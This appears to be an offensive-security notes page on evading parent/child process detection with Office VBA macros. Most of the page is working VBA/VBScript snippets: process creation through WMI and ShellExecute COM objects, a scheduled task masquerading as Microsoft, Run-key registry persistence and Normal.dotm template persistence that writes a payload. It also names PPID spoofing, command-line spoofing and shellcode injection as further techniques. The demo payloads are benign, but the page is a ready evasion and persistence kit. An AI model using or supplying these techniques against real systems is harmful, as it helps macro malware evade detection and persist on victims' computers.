Dechaining Macros

Looking at the Parent/Child processes is a good indicator of malicious activity, for example MSWord spawning PowerShell is pretty suspicious. Here, we will show some techniques that can be used to evade these types of analysis.


Sub MyMacro()
    Arg = "cmd /k calc.exe"
    GetObject("winmgmts:").Get("Win32_Process").Create Arg, Null, Null, pid
End Sub
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("cmd.exe /k calc.exe", Null, objConfig, intProcessID)

This will make your process be spawned under "wmiprvse.exe."


Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0

This will make your process spawn from under "explorer.exe"


Set xml = CreateObject("Microsoft.XMLDOM")
xml.async = False
Set xsl = xml
xml.transformNode xsl

Scheduled Tasks

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\notepad.exe"
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3)

Registry Keys

We can modify the registry which can serve as persistence and a way of executing your code.


Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
objRegistry.SetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\Run", "key1", "value1"


Set WshShell = CreateObject("WScript.Shell")
WshShell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\key2", "value2", "REG_SZ

PPID Spoofing and Command Line Spoofing

Basically we can spoof the parent by passing an arbitrary parent process name you want to use with the CreateProcessA function. We can also spoof the command line arguments by modifying the “CommandLine” in the RTL_USER_PROCESS_PARAMETERS structure in the PEB.

The implementation in VBA is here:

Injecting Shellcode

Injecting our shellcode to a remote process can make our payload live in another process, although this is not a parent-child evasion technique, we can make our payload live in a remote process.

Template persistence

Set objShell = CreateObject("Wscript.Shell")
appDataLocation = objShell.ExpandEnvironmentStrings("%APPDATA%")
Path = appDataLocation & "\Microsoft\Templates"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(Path & "\Normal.dotm", True)
objFile.Write payload


Set obj = GetObject("new:0006F03A-0000-0000-C000-000000000046")
obj.CreateObject("WScript.Shell").Run ("calc.exe")

Last updated